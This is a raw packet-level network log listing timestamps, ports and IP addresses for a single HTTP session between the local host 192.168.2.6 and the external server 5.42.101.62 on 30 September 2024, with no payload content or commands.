Sep 30, 2024 13:59:28.658061028 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.658071041 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.658081055 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.658097029 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.658099890 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.658109903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.658119917 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.658124924 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.658139944 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.658144951 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.658149958 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.658160925 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.658169031 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.658179045 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.658189058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.658190966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.658201933 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.658227921 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.658261061 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.658278942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.658288956 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.658298969 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.658310890 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.658310890 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.658345938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.658358097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.658360004 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.658369064 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.658379078 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.658389091 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.658397913 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.658404112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.658411980 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.658442020 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.658507109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.658516884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.658528090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.658551931 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.658576012 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.658983946 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659003019 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659014940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659034014 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.659070969 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.659091949 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659102917 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659112930 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659122944 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659132004 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.659135103 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659146070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659162998 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.659190893 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.659193039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659203053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659214973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659226894 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.659243107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659254074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659255028 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.659282923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.659291029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659301996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659312010 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659320116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659327030 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.659356117 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.659369946 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659379959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659398079 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659415007 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.659427881 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659440994 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659456015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659466982 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659491062 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.659491062 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.659502029 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.659575939 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659620047 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.659653902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659698009 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.659727097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659739017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659749031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.659764051 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.659779072 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.660099030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.660109043 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.660130024 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.660140038 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.660150051 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.660152912 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.660170078 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.660181999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.660193920 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.660196066 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.660208941 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.660218000 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.660226107 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.660253048 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.660468102 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.660478115 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.660506964 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.660521984 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.660527945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.660537958 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.660547018 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.660557032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.660567045 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.660568953 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.660594940 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.660608053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.660661936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.660676003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.660689116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.660701990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.660711050 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.660721064 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.660726070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.660736084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.660746098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.660748005 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.660757065 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.660768032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.660775900 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.660806894 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.661376953 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.661389112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.661398888 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.661408901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.661416054 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.661418915 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.661431074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.661439896 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.661468029 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.661958933 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.661971092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.661982059 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.662003040 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.662024021 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.662044048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.662055016 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.662070036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.662081003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.662085056 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.662091017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.662101984 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.662105083 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.662130117 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.748549938 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.748564959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.748584986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.748594999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.748605013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.748617887 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.748620033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.748631001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.748641968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.748652935 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.748652935 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.748672962 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.748681068 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.748684883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.748694897 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.748698950 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.748704910 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.748714924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.748727083 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.748730898 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.748764038 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.748805046 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.748816013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.748826027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.748835087 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.748842955 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.748871088 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.748903990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.748914957 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.748929024 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.748944998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.748953104 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.748955965 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.748963118 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.748965979 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.748976946 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.748995066 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.749020100 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.749039888 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749049902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749059916 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749072075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749083042 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.749088049 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749094963 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.749099016 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749125957 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.749150991 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.749171019 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749181032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749191046 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749207020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749217033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749227047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749238014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749238968 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.749248981 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749263048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749264002 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.749274015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749293089 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.749313116 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.749483109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749526978 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.749541044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749551058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749583006 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.749594927 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749605894 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749619961 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749630928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749640942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749640942 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.749650002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749655962 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.749689102 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.749702930 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749726057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749742985 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.749744892 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749756098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749766111 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749768019 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.749777079 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.749787092 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.749814987 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.750026941 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.750040054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.750055075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.750083923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.750094891 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.750114918 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.750127077 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.750132084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.750142097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.750153065 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.750190020 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.750217915 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.750217915 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.750247002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.750257015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.750267029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.750277042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.750287056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.750297070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.750303984 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.750307083 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.750312090 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.750324011 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.750334978 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.750339985 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.750344038 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.750355959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.750363111 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.750387907 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.750416040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.750458002 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.750516891 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.750528097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.750565052 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.750926971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.750972033 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.751012087 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751022100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751032114 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751041889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751051903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751058102 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.751061916 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751089096 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.751101971 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.751178026 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751189947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751194954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751205921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751215935 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751225948 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751236916 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.751250982 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751262903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751265049 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.751274109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751283884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751288891 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.751293898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751317024 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.751327038 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751338005 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751342058 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.751348019 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751358032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751368046 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751373053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.751398087 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.751436949 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751456022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751475096 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751481056 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.751491070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751501083 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751503944 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.751512051 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751522064 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.751533985 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.751562119 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.751658916 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.751703024 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.752240896 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.752263069 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.752274036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.752283096 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.752290964 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.752294064 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.752312899 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.752337933 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.752340078 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.752350092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.752373934 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.752399921 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.766868114 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.771951914 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958453894 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958483934 CEST	80	49721	5.42.101.62	192.168.2.6
